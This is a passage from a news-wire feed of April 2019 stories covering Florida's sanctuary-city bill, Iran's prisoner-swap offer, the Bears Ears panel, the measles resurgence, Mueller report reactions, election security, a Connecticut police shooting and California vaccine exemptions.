Anika Omphroy, a Lauderdale Lakes Democrat who has Haitian and Jamaican ancestry. But Republicans rejected criticism that the bill is anti-immigrant and xenophobic. "This bill is not about removing illegals from the state of Florida. This bill is about protecting the citizens in the state of Florida," said Rep. Michael Caruso, a Boca Raton Republican. In addition to mandating cooperation with federal authorities, the bill would permit local officials who allow sanctuary city policies to be suspended or removed from office, and permit fines up to $5,000 a day for violations. Similar legislation passed the House last year, but the Senate version did not get a floor vote. This year the measure appears to have enough momentum for final passage in both chambers. ___ Follow Curt Anderson on Twitter: http://twitter.com/Miamicurt Rep. Wengay Newton, D-St. Petersburg, debates an immigration bill during session Wednesday April 24, 2019, in Tallahassee, Fla. The Florida House has passed a high-profile Republican bill requiring local law enforcement agencies to cooperate with federal immigration authorities and banning so-called "sanctuary city" policies that shield immigrants who are arrested. (AP Photo/Steve Cannon) Rep. Cord Byrd, R- Neptune Beach, left, confers with Rep. Erin Grall, R-Vero Beach, during the debate on an immigration bill during session Wednesday April 24, 2019, in Tallahassee, Fla. The Florida House has passed a high-profile Republican bill requiring local law enforcement agencies to cooperate with federal immigration authorities and banning so-called "sanctuary city" policies that shield immigrants who are arrested. (AP Photo/Steve Cannon) Rep. Cord Byrd, R- Neptune Beach, is congratulated by Rep. Jennifer Sullivan, R-Mount Dora, left, as an immigration bill was passed during session Wednesday April 24, 2019, in Tallahassee, Fla. The Florida House has passed a high-profile Republican bill requiring local law enforcement agencies to cooperate with federal immigration authorities and banning so-called "sanctuary city" policies that shield immigrants who are arrested. (AP Photo/Steve Cannon) Rep. Thad Altman, R-Indialantic, debates an immigration bill during session Wednesday April 24, 2019, in Tallahassee, Fla. (AP Photo/Steve Cannon) LAS CRUCES, N.M. (AP) - Authorities say the leader of a civilian group that has detained asylum-seeking migrants along the U.S.-Mexico border was injured while he was jailed in New Mexico, after being arrested on federal weapons charges. The Dona Ana County Sheriff's Office said Wednesday in a statement that 69-year-old Larry Hopkins was transferred Tuesday out of the county jail after suffering non-life threatening injuries Monday night. The statement did not provide specifics on the "alleged battery" in which Hopkins was injured in Las Cruces, but Hopkins' lawyer, Kelly O'Connell, told the Albuquerque Journal that his client was hospitalized for rib injuries following an altercation. The FBI arrested Hopkins on a federal complaint accusing him of being a felon in illegal possession of firearms and ammunition. O'Connell has said Hopkins will plead not guilty. NEW YORK (AP) - Iran's top diplomat on Wednesday made public an offer to the U.S. government for a prisoner swap that he said he made six months ago. Foreign Minister Mohammad Javad Zarif told the Asia Society that Iran has not yet received a response from the Trump administration. "If they tell you anything else they're lying," he said. The U.S. State Department made no mention of a prisoner swap in a statement which said: "The Iranian regime can demonstrate its seriousness regarding consular issues, including Iranians who have been indicted or convicted of criminal violations of U.S. sanctions laws, by releasing innocent U.S. persons immediately." Zarif didn't specify who Iran might trade, though he mentioned the case of Nazanin Zaghari-Ratcliffe, a British-Iranian woman detained in Iran for nearly three years. On the other side, he cited U.S. extradition warrants against an Iranian man with a heart condition held in Germany for trying to buy spare parts for civilian airplanes, and against an Iranian woman imprisoned in Australia for three years who was the translator in the purchase of equipment for Iranian broadcasting. He did not name either of them. "Now we hear about Nazanin Zahari and her child, and I feel sorry for them and I've done my best to help," Zarif said. "But nobody talks about this lady in Australia who gave birth to a child in prison, whose child is growing up outside prison with his mother in prison." Iran's Foreign Minister Mohammad Javad Zarif speaks at the Asia Society, in New York, Wednesday, April 24, 2019. (AP Photo/Richard Drew) As foreign minister, Zarif said, he can only involve himself on humanitarian grounds and where there is a possibility of a prisoner exchange, which he did once with the United States. "We believe their charges are phony," he said of Iranians held in the U.S. "The United States believes the charges against these people in Iran are phony." "And I put this offer on the table publicly now: Exchange them," he said. "Let's discuss them. Let's have an exchange. I'm ready to do it, and I have authority to do it." Last month, former U.S. Navy cook Michael R. White from Imperial Beach, California, was sentenced to 10 years in prison in Iran, becoming the first American known to be imprisoned there since Trump took office. Washington-based lawyer Mark Zaid told The Associated Press that White was convicted of insulting Iran's supreme leader and posting private information online, but information surrounding the case remained vague. Three other Americans are known to be held in Iran. Iranian-American Siamak Namazi and his octogenarian father Baquer, a former representative for the U.N. children's agency UNICEF who served as governor of Iran's oil-rich Khuzestan province under the U.S.-backed shah, are both serving 10-year sentences on espionage charges. Iranian-American art dealer Karan Vafadari and his Iranian wife, Afarin Neyssari, received 27-year and 16-year prison sentences, respectively. Chinese-American graduate student Xiyue Wang was sentenced to 10 years in prison for allegedly "infiltrating" the country while doing doctoral research on Iran's Qajar dynasty. Iranian-American Robin Shahini was released on bail in 2017 after staging a hunger strike while serving an 18-year prison sentence for "collaboration with a hostile government." Shahini has since returned to America and is now suing Iran in U.S. federal court. Also in an Iranian prison is Nizar Zakka, a U.S. permanent resident from Lebanon who advocated for internet freedom and has done work for the U.S. government. He was sentenced to 10 years on espionage-related charges. Former FBI agent Robert Levinson, who vanished in Iran in 2007 while on an unauthorized CIA mission, remains missing. Iran says that Levinson is not in the country and that it has no further information about him, though his family holds Tehran responsible for his disappearance. In this photo provided by the United Nations, U.N. Secretary General Antonio Guterres, right, greets Mohammad Javad Zarif, Minister for Foreign Affairs, Islamic Republic of Iran, Wednesday, April 24, 2019 at United Nations headquarters. (Eskinder Debebe/The United Nations via AP) SALT LAKE CITY (AP) - A newly unveiled advisory committee that will help make management decisions for a downsized national monument in southern Utah has become the latest flashpoint in a long-running debate over lands considered sacred to Native Americans as monument supporters cry foul about being left off the panel. The selections for the 15-person Bears Ears National Monument panel posted online Friday by the U.S. Bureau of Land Management reveal a few people who seem to strike a middle ground, but nobody who was an outspoken proponent of the monument created by President Barack Obama in December 2016 to help preserve ancient cliff dwellings and an estimated 100,000 archaeological sites. In contrast, the committee includes several people who were critics of Obama's designation and cheered President Donald Trump's December 2017 decision to scale it back by about 85 percent to make it a 315 square mile-monument (816 sq. kilometers) in a move Trump said was done to reverse federal overreach. They include San Juan County Commissioner Bruce Adams, ranchers Zeb Dalton and Gail Johnson, resident Jami Bayles and the two people selected for tribal spots on the committee: Ryan Benally and Alfred Ben. They are the only Native Americans on the committee. Many monument supporters applied but weren't chosen, said Josh Ewing, executive director of the Friends of Cedar Mesa environmental group, and Gavin Noyes, executive director of Utah Dine Bikeyah, a tribal group that pushed for Obama's designation. "Many of the people seem to be involved for political purposes, and not their expertise," Ewing said. Bureau of Land Management spokeswoman Kimberly Finch said in a statement that the committee members were chosen by the Department of the Interior after a careful review of a pool of 58 applications to "reflect a wide variety expertise, experiences, and interests regarding public land management and the resources within the Bears Ears National Monument." FILE - This May 8, 2017, file photo, shows Arch Canyon within Bears Ears National Monument in Utah. The selections for the 15-person Bears Ears National Monument panel posted online Friday, April 19, 2019 by the U.S. Bureau of Land Management reveal a few people who seem to strike a middle ground, but nobody who was an outspoken proponent of the monument created by President Barack Obama in December 2016. (Francisco Kjolseth/The Salt Lake Tribune via AP, File) Each spot was earmarked for a certain group, such as paleontology, private landowners, cattle grazing, recreation, conservation and archaeology. The members were given one, two and three year-terms to stagger when they will be replaced. The committee is expected to meet for the first time this summer. Several committee members defended the selections, while making clear they aren't responsible for overall composition. "I think it's a good, diverse group," said Dalton, a rancher who filled the private landowner spot. The conservation representative, Miles Moretti, CEO of the Mule Deer Foundation, said he wants to help find areas of consensus about lands he grew to love while he spent countless hours in the 1980s horseback riding doing wildlife surveys for the Utah Division of Wildlife. "I'm not coming with an agenda," Moretti said. Ben, a vice president for the Aneth Chapter of the Navajo Nation, called it an honor to be on the panel and speak for his ancestors. He was among Native Americans who opposed the monument designation because he felt it would add unnecessary restrictions on sacred lands. "I'm a community leader, and I know how the grassroots people think," Ben said. The Bears Ears Inter-Tribal Coalition that advocated for the monument didn't nominate anyone for the two tribal spots as part of its continued protest of the downsizing of the monument, coalition co-chair Carleton Bowekaty said. They have repeatedly called for the BLM to halt the planning process because of their pending lawsuits challenging the legality of Trump's decision. Ben said the coalition has no place on this new advisory committee because they already have their own advisory panel. That separate six-person commission was created by Obama and kept by Trump, who revised it to include a spot for a county commissioner from San Juan County, Utah. The coalition -which includes the Hopi, Ute Indian, Ute Mountain Ute, Zuni tribes and Navajo Nation - is not participating in the commission as part of its protest of the shrinkage. Adams, the county commissioner, said he has a hard time empathizing about the lack of tribal representation on the new panel because the coalition didn't nominate anyone. The Salt Lake Tribune first reported the committee's selections on Tuesday. The paleontologist on the committee, Brigham Young University's Brooks Britt, said he hopes to stake out middle ground on the committee. "Sometimes you can have so much protection that you can't do science anymore. I think you have to find the sweet spot," he said. FILE - This Dec. 28, 2016, file photo shows the two buttes that make up the namesake for Utah's Bears Ears National Monument in southeastern Utah. The selections for the 15-person Bears Ears National Monument panel posted online Friday, April 19, 2019 by the U.S. Bureau of Land Management reveal a few people who seem to strike a middle ground, but nobody who was an outspoken proponent of the monument created by President Barack Obama in December 2016. (Francisco Kjolseth/The Salt Lake Tribune via AP, File) FILE - In this Dec. 4, 2017, file photo, President Donald Trump signs the hat of Bruce Adams, chairman of the San Juan County Commission, after signing a proclamation to shrink the size of Bears Ears and Grand Staircase Escalante national monuments, in Salt Lake City. The selections for the 15-person Bears Ears National Monument panel posted online Friday, April 19, 2019 by the U.S. Bureau of Land Management reveal a few people who seem to strike a middle ground, but nobody who was an outspoken proponent of the monument created by President Barack Obama in December 2016. (AP Photo/Rick Bowmer, File) NEW YORK (AP) - Measles in the U.S. has climbed to its highest level in 25 years, closing in on 700 cases this year in a resurgence largely attributed to misinformation that is turning parents against vaccines. "This is alarming," said Dr. William Schaffner, a Vanderbilt University vaccine expert. Not only is measles dangerous in itself, but its return could mean other vaccine-preventable diseases seemingly consigned to the past may be coming back as well, he said. The Centers for Disease Control and Prevention said 695 cases had been reported in 22 states this year as of Wednesday afternoon. That was up from 626 reported Monday and makes this the nation's worst year for measles since 1994, with eight months still to go in 2019. There were 963 cases in 1994. Roughly three-quarters of this year's illnesses in the U.S. have been in New York state, mainly in two ultra-Orthodox Jewish communities in Brooklyn and suburban Rockland County. Most of those cases have been in unvaccinated people. The number of cases is likely to go even higher. Measles is highly contagious and can spread through the air when someone coughs or sneezes. And in recent days, Jewish families have been gathering for Passover meals. It can take 10 to 12 days for symptoms to develop. The CDC recommends the vaccine for everyone over a year old, except for people who had the disease as children. Those who have had measles are immune. FILE - In this March 27, 2019, file photo, a woman receives a measles, mumps and rubella vaccine at the Rockland County Health Department in Pomona, N.Y. Measles cases in the U.S. this year have climbed to the highest level in 25 years, according to preliminary figures, a resurgence attributed largely to misinformation about vaccines. (AP Photo/Seth Wenig, File) The vaccine, which became available in the 1960s, is considered safe and highly effective, and because of it, measles was declared all but eliminated in the U.S. in 2000. But it has made comebacks since then, including 667 cases in 2014. Public health experts say some U.S. communities have low vaccination rates because of the spread of bad information - especially the now-debunked notion that the measles-mumps-rubella vaccine is linked to autism - through social media, pamphlets, hotlines and other means. "Many parents are afraid. And if you want to believe your kid doesn't need that many shots, there's plenty of places to find people who agree with you," said Dr. Jonathan Fielding, former head of the Los Angeles County Department of Public Health. "It's not so easy to discern what is real and what is not." Measles in most people causes fever, runny nose, cough and a rash all over the body. However, a very small fraction of those infected can suffer complications such as pneumonia and a dangerous swelling of the brain. According to the CDC, for every 1,000 children who get measles, one or two will die from it. No deaths have been recorded this year. Measles' return may be an early warning sign of resurgences in other vaccine-preventable diseases such as rubella, chickenpox and bacterial meningitis, Schaffner said. "Measles is the signal that in these communities where there's profound under-vaccination, they are susceptible to a whole menu of communicable diseases we thought were relegated to yesteryear," he said. Sixty-one of the new cases were reported in hard-hit New York City. Up to now, the biggest single U.S. measles outbreak in recent years was in 2014, when 383 cases were reported in the Amish community in nine Ohio counties. But on Wednesday, New York City officials said the outbreak centered in some of Brooklyn's Jewish neighborhoods has accounted for 390 cases since October. "These cases are stark reminders of why New Yorkers must get vaccinated against the measles as soon as possible," New York City Health Commissioner Dr. Oxiris Barbot said. Ultra-Orthodox rabbis generally have no religious objections to vaccines and have urged their followers to get inoculated. But the "anti-vaxxer" movement has made inroads among the ultra-Orthodox, even though they have little exposure to the internet. "There's a lot of misinformation from this anti-vaccine movement within the community. Some of the misinformation is that it causes autism, that the vaccines contain mercury, that the disease, itself will protect them from cancer, eczema," said Dr. Joseph Kaplovitz, a pediatrician who serves the ultra-orthodox community in Brooklyn's Williamsburg neighborhood. Earlier this month, city officials ordered mandatory vaccinations in four ZIP codes in Brooklyn and threatened fines of up to $1,000 for noncompliance. City officials said 12 people have been issued summonses. There have been three measles-related deaths reported in the U.S. since 2000, the last one in 2015. The worst year for measles in modern U.S. history was 1958, with more than 763,000 reported cases and 552 deaths. ___ AP video journalist Robert Bumsted contributed to this report from New York. ___ The Associated Press Health and Science Department receives support from the Howard Hughes Medical Institute's Department of Science Education. The AP is solely responsible for all content. LOS ANGELES (AP) - The Latest on whether Charles Manson follower Leslie Van Houten should get parole (all times local): 12 p.m. A California appeals court is questioning whether it has jurisdiction to decide on parole for Charles Manson follower Leslie Van Houten or whether the issue becomes moot after the governor weighs in. A three-judge panel with the 2nd District Court of Appeal in Los Angeles heard arguments Wednesday. They're deciding whether to uphold a lower court's ruling that denied her parole. Separately, a parole board recommended Van Houten's release in January. That decision is undergoing a five-month review process before heading to Gov. Gavin Newsom. The appeals court judges gave attorneys five days to explain how a decision by Newsom would affect the case before them. If Newsom denies Van Houten parole, the judges want to know whether they still would have jurisdiction to rule. Rich Pfeiffer, attorney for Leslie Van Houten, speaks to reporters after a hearing before California's 2nd District Court of Appeal, which is considering whether to overturn a judge's ruling denying her parole last year, in downtown Los Angeles Wednesday, April 24, 2019. The court is questioning whether it has the jurisdiction to decide whether Charles Manson follower Leslie Van Houten should be freed from prison, or whether the issue becomes moot after Gov. Gavin Newsom weighs in. (AP Photo/Amanda Lee Myers) Van Houten and fellow cult members fatally stabbed a wealthy grocer and his wife in 1969. ___ 12:01 a.m. Charles Manson follower Leslie Van Houten is getting another chance at getting out of prison. Van Houten's attorney will argue that she deserves to be paroled at a hearing before California's 2nd District Court of Appeal in Los Angeles on Wednesday. The 69-year-old Van Houten is not expected in court herself. Her attorney, Rich Pfeiffer, will be arguing his appeal of a Los Angeles County Superior Court judge's ruling last year denying parole for Van Houten. That ruling upheld then Gov. Jerry Brown's decision that Van Houten should not be freed. Pfeiffer says he's never been more optimistic about Van Houten's release. He says she's completely rehabilitated and "there's not a better inmate in California." A 19-year-old Van Houten was among the followers in Manson's cult who fatally stabbed a wealthy grocer and his wife in 1969. HOFNA Women in NW and SW want violence to end in both regions Camera Women leaders in the North West and South West regions of Cameroon have declared their intention to participate in all peace efforts in their communities, in order to see an end to violence, and a peaceful agreement reached between both parties involved in the ongoing Anglophone crisis, and other related crises in Cameroon. The aftermath of the Anglophone crisis, according to these women is devastating, as official reports say thousands have been killed, over 400,000 persons now internally displaced, and an increasing number of Cameroonian refugees in Nigeria, which stands at 40,000. The women, drawn from all parts of both regions, including the indigenous Mbororo women leaders, expressed the zeal to be agents of peace, during a workshop organised by Hope for the Needy Association(HOFNA), Bamenda and Buea, capitals of the North West and South West regions, respectively. The Director of HOFNA, Christelle Bay, revealed that the non-governmental organisation in its mission to foster and strengthen peace in the country, has held several peace projects such as enhancing multicultural dialogue for peace. She said the current forum which saw the birth of HOFNA Women for Sustainable Peace was to focus on roles women can take to impact change. "We have used this forum to localize the concept of peace and build womens skills on the relationship between gender, peace and conflict and building on the understanding that each and every woman, from every family must take a stand for true peace from peace in the home to peace in our families, communities and the world, said Bay. In an appeal to the government of Cameroon, separatists leaders and all other actors made on the 19th and 25th of April in Bamenda and Buea respectively, these women have declared they are tired of weeping and want peace, with women at the forefront on the negotiation table, due to their motherly attention and humility. "We tired of watching our children die, watching our children and sisters raped, watching our sisters sell their bodies in other towns to get homes to stay in, tired of watching women pay 200FRS, to sleep on people's verandas...., wept these women as they addressed administrative authorities in both regions. They quoted the UN Security resolution 1325, which states that there can be no meaningful peace without the full participation of a critical mass of women who constitute almost 52 percent of the population in the process of dialogue. Cameroonian women have for the past months, been calling on the government of Cameroon to involve women in all peace steps in crisis resolution. The HOFNA Women for Sustainable Peace made a similar call, for Cameroonian leaders to make polices that promote womens participation at all peace processes. These women promised to contribute their time and other resources towards strengthening the capacities of their various communities towards peace. They also called on government to speed up the process of including many more women in leadership positions, who can participate in the dialogue for peace, as they intend to partner with womens groups and organizations to foster peace especially in conflict ridden zones. Their call for peace and normalcy in Cameroon, didnt limit these women only to the North West and South West regions, as they expressed security concerns in the East region, the Far-North invaded by Boko Haram Islamist militants, and also the Adamawa. They further urged the international community to support baseline research on the actual conditions on the ground in terms of the numbers and location of internally displaced persons, and promote consultation with all identified involved in the crisis, amongst other recommendations. Still in their appeal, they are concerned about the flow of fake news and how it continues to impact the society negatively, and called on the media in Cameroon, to independently research on news events rather than relying on gossips, and report objectively. HOFNA has also been involved in other peace projects, such as One Cameroon Initiative and the Girls Leadership Boot camp, which were also an occasion to preach to over 5000 youths, in order to impact change. Firefighters rescued a man from a stormwater sewer after construction workers heard him calling for help from underground. Emergency workers responded Tuesday morning to a street in Allentown, Pennsylvania, where they determined where the trapped man was based on his yells. Workers opened a nearby manhole cover, directed him where to go and used a ladder to get him out. It's unclear how the man got into the sewer and for how long he'd be down there. He told firefighters he woke up down there and thought maybe he had been down there for days. "He was either very reluctant or unable to tell us more," said Allentown Fire Captain John Christopher. "We weren't getting a lot of information. But he had been down there for quite some time." Video taken by onlookers shows the disheveled man, who appears to be barefoot, stumbling and being held up by emergency officials. He's then put onto a gurney. Officials have not released his name. Christopher said through that part of the sewer, "you're pretty much belly-crawling. It's not even a crouch." The man was hypothermic and dehydrated, Christopher said. He was taken to a hospital where his condition is unknown. Construction workers heard cries of help early Tuesday morning while working at a new residential building but couldn't determine from where exactly it was coming. They called 911 shortly before 8 a.m. By shouting down sewer grates in the area, firefighters were able to conclude where the man was located. They opened a few manhole covers to find the one he was closest to. "We popped down and could see him in the pipe," Christopher said. A firefighter assisted him up the ladder and to the street. Christopher said it hasn't been determined how and where the man entered the sewer system but said it could have been at Jordan Creek, which runs through Allentown before flowing into the Lehigh River. "He would have had to enter it from somewhere," Christopher said. "It wouldn't be an easy process. You'd have to willingly do that." Police have not charged the rescued man and it's unknown if the city will conduct an investigation. Allentown is about 60 miles (97 kilometers) northwest of Philadelphia. WASHINGTON (AP) - After denouncing the special counsel's Russia investigation throughout its nearly two-year history, President Donald Trump greeted its conclusion with choice words: "the Crazy Mueller Report," ''written by 18 Angry Democrat Trump Haters," containing "total bullshit." Now, suddenly, the "witch hunt" is golden, in the pivoting rhetoric of the White House. Bristling at Democratic attempts to dig deeper into episodes of possible obstruction of justice laid out in Robert Mueller's report, Trump's team is pointing to the fact that Mueller stopped short of accusing Trump of a crime (and glossing over the idea that it left Congress to pursue that path as it sees fit.) This has given rise to fulsome praise for an inquiry Trump has routinely condemned. "It was the most thorough investigation probably in the history of our country," Trump told reporters on Wednesday. "I say it's enough." Trump adviser Kellyanne Conway offered this: "The president is saying that the Mueller report is the definitive, conclusive non-partisan investigation." President Donald Trump speaks to reporters before leaving the White House in Washington, Wednesday, April 24, 2019, for a trip to Atlanta with first lady Melania Trump to participate an opioids summit. (AP Photo/Manuel Balce Ceneta) This, after Trump assailed the inquiry as a partisan, polluted exercise since its inception and, according to the Mueller report, pressed aides to stop it. Said Conway: "You want to see the nonpartisan, definitive, conclusive taxpayer-funded, lengthy, unobstructed, unimpeded, uninterfered with investigation? You just saw it and it's called the Mueller report." The switch came as House Democrats stepped up their scrutiny of Trump's behavior and finances and the White House pushed back. A former White House official defied a House subpoena, the Treasury Department ignored a deadline for providing Trump's tax returns and the president vowed "we're fighting all the subpoenas" from Democratic lawmakers on these subjects. Despite crediting Mueller with unparalleled thoroughness - and after countless false claims that the report exonerated him - Trump did not abandon his characterization of the inquiry as a witch hunt, something he's repeated on Twitter alone nearly 200 times in less than a year . "We just went through the Mueller witch hunt, where you had, really, 18 angry Democrats that hate President Trump," he said. "They hate him with a passion." President Donald Trump speaks to the "Rx Drug Abuse and Heroin Summit," Wednesday, April 24, 2019, in Atlanta. (AP Photo/Evan Vucci) WASHINGTON (AP) - A top White House official told Kirstjen Nielsen, then Homeland Security secretary, not to bring up election security with President Donald Trump, steering her away from discussing a critical national security threat with a president who bristles at suggestions that Russian interference contributed to his 2016 victory, according to two people familiar with the matter. One official said the guidance from acting chief of staff Mick Mulvaney wasn't related to the sensitivity of the election interference issue, but to keep the White House meetings concentrated on border security, the most visible part of Nielsen's sprawling portfolio and the top item on Trump's political agenda. But it suggests a lack of White House focus on preventing cyberattacks, which Nielsen described during her tenure as a bigger terrorism threat to the United States than planes or bombs. The potential for foreign cyberattacks to shape U.S. elections has been in the spotlight as special counsel Robert Mueller's report outlined efforts made by Russia to steal thousands of emails and internal documents from the Democratic Party and the Clinton campaign in 2016. Despite the lack of White House coordination, Nielsen continued to work on election and cybersecurity with other administration officials, according to people familiar with the matter. They spoke on condition of anonymity because they were not authorized to discuss private meetings. The New York Times was the first to report that Nielsen had been told not to talk about the topic. Mulvaney said in a statement he did not recall any meetings in which he told Nielsen not to bring up election security, and stressed the topic was very important. Trump signed an executive order last fall authorizing sanctions against foreigners who meddle in U.S. elections and requested $17.6 billion for federal cybersecurity efforts next year in his budget. Mulvaney added that federal, state and local governments are now sharing intelligence and federal authorities are conducting security breach training drills. FILE - In this April 10, 2019, file photo, outgoing Homeland Security Secretary Kirstjen Nielsen speaks at the dedication ceremony at the Homeland Security headquarters Center Building at the old St. Elizabeths Hospital in Washington. Nielsen was told by President Donald Trump's chief of staff not to bring up election security in meetings with the president, but she continued to push the issue with administration and international leaders despite the lack of White House coordination. That's according to people familiar with the matter. Nielsen, who resigned in April, had made cybersecurity a focus of her tenure there. (AP Photo/Alex Brandon, File) "The Trump administration will not tolerate foreign interference in our elections, and we've already taken many steps to prevent it in the future," he said. Still, Trump and his aides have said Russia's 2016 interference was exaggerated. Jared Kushner, the president's son-in-law and senior adviser, on Tuesday during an interview at the Time 100 Summit in New York minimized Russia's involvement by describing it as "buying some Facebook ads to try to sow dissent." "But I think the investigations, and all of the speculation that's happened for the last two years, has had a much harsher impact on our democracy than a couple of Facebook ads," he said. Nielsen resigned April 7 after a rocky 16-month tenure and amid a staff shake-up at her department orchestrated by the White House frustrated by the surging number of Central American migrants crossing the U.S.-Mexico. Trump named as acting secretary Kevin McAleenan, the head of U.S. Customs and Border Protection, who has little cyber experience. He has since attended meetings on cybersecurity and is working to get up to speed on the topic, aides said. Nielsen, in meetings with Trump, would attempt to explain to the president that her department was responsible for much more than immigration, according to two people familiar with the matter. But Trump's staff, dealing with a president with a short attention span and a focus on border security, would push her to stay on topic. Another person said Nielsen took the issue up herself, convening classified meetings with agency heads and Cabinet secretaries, and cross-government strategy sessions with FBI, Justice Department and intelligence officials to chart a path forward on cybersecurity and election security. Garrett Marquis, spokesman for the White House's National Security Council, said any suggestion that the administration is giving less than a "than a full-throated effort to secure America's elections" was patently false. "National Security Council staff leads the regular and continuous coordination of the whole-of-government approach to addressing foreign malign influence and ensuing election security," he said. The 2018 midterm elections passed with no major disruptions to election infrastructure, though thousands of emails were stolen from aides to the National Republican Congressional Committee by an "unknown entity," federal officials said. And intelligence agencies constantly warn about the potential for foreign interference. Chris Krebs, the head of cybersecurity and infrastructure security agency at Homeland Security, has said he thought it possible that the 2018 elections were largely spared in part so foreign agents could save their gunpowder for 2020. Speaking to the Atlantic Council's International Conference on Tuesday, Krebs said the most active cyber threats come from Russia and China, while on the lower end are Iran, North Korea and "then the extremists pace." He said the U.S. has made progress, especially on information sharing, but that's the "minimum bar." "We have to get beyond information sharing ... to operationalizing information security," he said. ___ Associated Press Writer Mike Balsamo and Jill Colvin contributed to this report. Clergy and community leaders called Wednesday for the immediate firing of two Connecticut police officers who opened fire on a car and seriously wounded a passenger, saying newly released police video shows last week's shooting began when the driver started getting out of the vehicle with his hands up. "Hands up! Don't shoot!" the leaders chanted at a news conference in New Haven, invoking words used during protests that have followed other police shootings around the country. Authorities said Hamden officer Devin Eaton and Yale University officer Terrance Pollack stopped the car in New Haven on April 16 while responding to a report of an attempted armed robbery in Hamden. Police said both officers opened fire when the driver got out of the car abruptly. The shooting sparked several protests in New Haven and neighboring Hamden. Another is planned for Thursday. Eaton's body camera video, released by state police on Tuesday, shows him starting to shoot after the driver, 21-year-old Paul Witherspoon III, begins getting out of the car and raising his arms. The video shows Eaton then run to the other side of the car and fire several shots that smashed out the front passenger door window. Witherspoon's girlfriend, 22-year-old Stephanie Washington, was shot but survived. She has been released from a hospital. Officials also said Pollack was wounded during the shooting but have not elaborated. Witherspoon was not injured. Witherspoon and Washington are black, as are the two officers. The Rev. Boise Kimber, of the First Calvary Baptist Church in New Haven, said the body camera and surveillance videos clearly show what happened and there is no need to wait for investigations to be completed before firing the two officers, who were placed on paid leave pending the probes. "They have violated every protocol of their department," Kimber said during Wednesday's news conference. "We're asking Hamden, we're asking Yale ... to terminate those two officers to bring some relief to our community. Mr. Witherspoon got out of his car with his hands up - with his hands up - and was fired upon." Yale referred questions about the calls to fire the officers to comments made Tuesday by Janet Lindner, the school's vice president for administration. Lindner said Pollack will remain on paid leave until investigations are completed. "Until the investigation is complete and all the facts are known, let us commit to refrain from drawing final conclusions about this incident," Lindner said. "The shooting was a tragedy, and Yale offers its heartfelt feelings of concern to Ms. Washington, Mr. Witherspoon, and their families," she said. "We all want a just outcome." Messages seeking comment were left with Hamden officials on Wednesday. Eaton fired 13 shots and Pollack fired three, said James Rovella, commissioner of the state Department of Emergency Services and Public Protection, which oversees state police. Authorities did not find a gun in the car. Witherspoon's relatives have also disputed the report of an attempted armed robbery, saying Witherspoon only argued with a man who cut in front of him in line at a gas station. Local clergy on Wednesday said the person who reported the attempted robbery should be arrested. Eaton did not activate his body camera until after the shooting, but the gunfire was still recorded because the camera has a feature that recalls images from the moments before it is turned on, Rovella said Tuesday. Pollack's body camera and cruiser dashboard camera were not turned on, Rovella said. Both Hamden and Yale have similar policies requiring officers to turn on their body cameras during interactions with the public, but only when it is safe to do so. DELPHI, Ind. (AP) - The Latest on the investigation into the 2017 killings of two northern Indiana girls (all times local): 3:40 p.m. Indiana State Police have released a statement clarifying information about a newly-released sketch of a man suspected of killing two teenage girls in 2017. The statement Wednesday said that the sketch police released Monday of a youthful-appearing man "more accurately represents the person" they believe killed 14-year-old Liberty German and 13-year-old Abigail Williams in February 2017. Their statement says a composite sketch released in July 2017 of a middle-aged man was developed early in their investigation but the man it depicts "is not presently a person of interest in this investigation." Police add that the new sketch is "representative of the face of the person captured" in video taken from German's cellphone of a man walking on an abandoned railroad bridge. In this undated police artist sketch provided by the Indiana State Police is the new "face" of the Delphi Murder suspect Monday, April, 22, 2019. Authorities have released video of a man suspected of killing two Indiana teenagers two years ago and urged the public to scrutinize the footage, which shows the man walking on an abandoned railroad bridge the girls visited while out hiking the day they were killed. The State Police also released a new sketch of the suspect, which Superintendent Doug Carter says was produced thanks to "new information" collected during the investigation into the killings of Liberty German and Abigail Williams. (Indiana State Police via AP) ___ 10:17 a.m. A newly released sketch of a man suspected of killing two Indiana teenagers in 2017 was created only days after the girls' slayings, but authorities aren't saying why they held onto it for more than two years. Indiana State Police initially released a composite sketch five months after the February 2017 killings of 14-year-old Liberty German and 13-year-old Abigail Williams depicting a white man with a goatee. The sketch released Monday shows a clean-shaven, younger-looking man with significantly different facial features. A state police sketch artist tells The Indianapolis Star he drew it three days after the girls' bodies were found. Police spokesman Sgt. Kim Riley declined to answer any questions Wednesday about the sketch. Police Superintendent Doug Carter said Monday that "new information and intelligence" leads police to believe it depicts the killer. FILE - This composite sketch released July 17, 2017, by the Indiana State Police shows the man they consider the main suspect in the killings of teenage girls Liberty German, and Abigail Williams who disappeared from a hiking trail near their hometown of Delphi on Feb. 13, 2017. State Police are to make an announcement about the investigation into the 2017 killings of the two girls found dead on a hiking trail. State police say Superintendent Doug Carter will discuss how the investigation has gone in a "new direction" during a Monday April 22, 2019 news conference in Delphi. (Indiana State Police via AP, File) SACRAMENTO, Calif. (AP) - California lawmakers advanced tougher rules for vaccinations late Wednesday after hearing hours of testimony from hundreds of opponents while the nation grapples with the highest number of measles cases in decades. The Senate Health Committee approved the proposal to give state public health officials instead of local doctors the power to decide which children can skip their shots before attending school. The push coincides with this year's national measles tally reaching the highest it's been since 1994, according to an Associated Press count . Lawmakers decided stronger oversight is needed to stem bogus exemptions granted in many cases by doctors who are paid to excuse students from vaccinations. They acted despite more than three hours of often emotional opposition from parents and some children, and after spending another hour debating where to draw the line between individual rights and public safety. "Our job here in Sacramento is to try to thread the needle," concluded Democratic Sen. Bill Monning of Carmel. "Your right to your choice should not interfere with the health and safety of my child or grandchild." The measure passed to a fiscal committee on a party-line vote, with the panel's two Republicans opposed. Chelsea Lydell holds her son, Joseph, 4, as she joins hundreds of others waiting to get into a legislative committee to oppose a proposal to give state public health officials instead of local doctors the power to decide which children can skip their shots before attending school, at the Capitol Wednesday, April 24, 2019, in Sacramento, Calif. The bill, by state Sen. Richard Pan, D-Sacramento, a pediatrician, said his legislation would give state health officials the tools they need to prevent outbreaks of vaccine-preventable diseases like measles. (AP Photo/Rich Pedroncelli) Democratic Sen. Richard Pan of Sacramento said his legislation would give state health officials the tools they need to prevent outbreaks of vaccine-preventable diseases like measles, which in the first four months of the year have reached 28 confirmed cases in California. "If we continue to let these fake medical exemptions increase, we're going to have another larger outbreak, and we need to stop that now," Pan said. Pan's bill is one of a number of efforts by state legislatures to address measles outbreaks. Washington state lawmakers voted Tuesday to remove parents' ability to claim a personal or philosophical exemption from vaccinating their children for measles, although medical and religious exemptions will remain. Oregon is considering removing all non-medical exemptions, drawing the ire of hundreds of parents who came to the state capitol Tuesday to protest. Opponents of Pan's bill, including members of parental rights and religious groups, doctors and alternative healthcare practitioners, said the measure strips away parents' 